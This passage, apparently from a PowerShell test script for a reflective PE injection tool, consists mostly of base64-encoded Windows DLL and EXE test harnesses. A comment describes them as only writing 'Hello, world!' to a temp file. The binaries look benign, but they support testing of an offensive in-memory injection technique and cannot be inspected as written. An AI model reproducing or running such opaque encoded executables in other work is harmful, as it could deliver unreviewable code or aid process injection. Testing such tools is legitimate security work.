'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' # A bare bones test harness EXE that simply writes "Hello, world! (EXE ARGS)" to %TEMP%\testoutput.txt $Encoded64BitExe = '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AAAAAEwmAAAAAAAAPCYAAAAAAACsJgAAAAAAAAAAAAAAAAAANiUAAAAAAABAJQAAAAAAAFYlAAAAAAAAaiUAAAAAAAB4JQAAAAAAAC4lAAAAAAAAnCUAAAAAAACoJQAAAAAAALIlAAAAAAAAviUAAAAAAADSJQAAAAAAAAQmAAAAAAAADCYAAAAAAAAWJgAAAAAAACQmAAAAAAAAMiYAAAAAAAAmJQAAAAAAABQlAAAAAAAABCUAAAAAAAD2JAAAAAAAAOgkAAAAAAAAhCUAAAAAAAAAAAAAAAAAAIgAQ3JlYXRlRmlsZUEAIgFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBADQFV3JpdGVGaWxlAEwCR2V0UHJvY0FkZHJlc3MAABsCR2V0TW9kdWxlSGFuZGxlQQAAUgBDbG9zZUhhbmRsZQBLRVJORUwzMi5kbGwAAFgBX1hjcHRGaWx0ZXIA8gFfYW1zZ19leGl0AACnAV9fZ2V0bWFpbmFyZ3MAzgFfX3NldF9hcHBfdHlwZQAAGAZleGl0AABYAl9leGl0AAoCX2NleGl0AAAaAl9jb25maWd0aHJlYWRsb2NhbGUA0AFfX3NldHVzZXJtYXRoZXJyAADiAl9pbml0dGVybV9lAOECX2luaXR0ZXJtAFwBX19DX3NwZWNpZmljX2hhbmRsZXIAAKgBX19pbml0ZW52AHgCX2Ztb2RlAAAZAl9jb21tb2RlAAAzAT90ZXJtaW5hdGVAQFlBWFhaAJkBX19jcnRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAE1TVkNSMTIwLmRsbAAAWwNfbG9jawDHBF91bmxvY2sACQJfY2FsbG9jX2NydACfAV9fZGxsb25leGl0AAIEX29uZXhpdADuAEVuY29kZVBvaW50ZXIAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDHAUdldEN1cnJlbnRQcm9jZXNzSWQAywFHZXRDdXJyZW50VGhyZWFkSWQAAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAywBEZWNvZGVQb2ludGVyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD+/////////wAAAAAyot8tmSsAAM1dINJm1P//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAJgQAABAIgAAmBAAAHwRAABQIgAAfBEAAIwRAABoIgAAjBEAAFoSAAB4IgAAXBIAAL8SAACAIgAAwBIAADAUAACIIgAAMBQAAEIUAAB4IgAARBQAAHwUAAB4IgAAfBQAAJMUAAB4IgAA8BQAAD0VAACoIgAAcBUAABwWAADMIgAAIBYAAG4WAAAAIwAAcBYAACAXAADYIgAAIBcAADcXAAB4IgAAOBcAAHAXAAAIIwAAcBcAAKgXAAAIIwAA4BcAAP4XAAD4IgAAABgAACAYAAD4IgAAIBgAADsYAAD4IgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAFAAAACihQKFIoVChCKIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' - $Encoded32BitExe = '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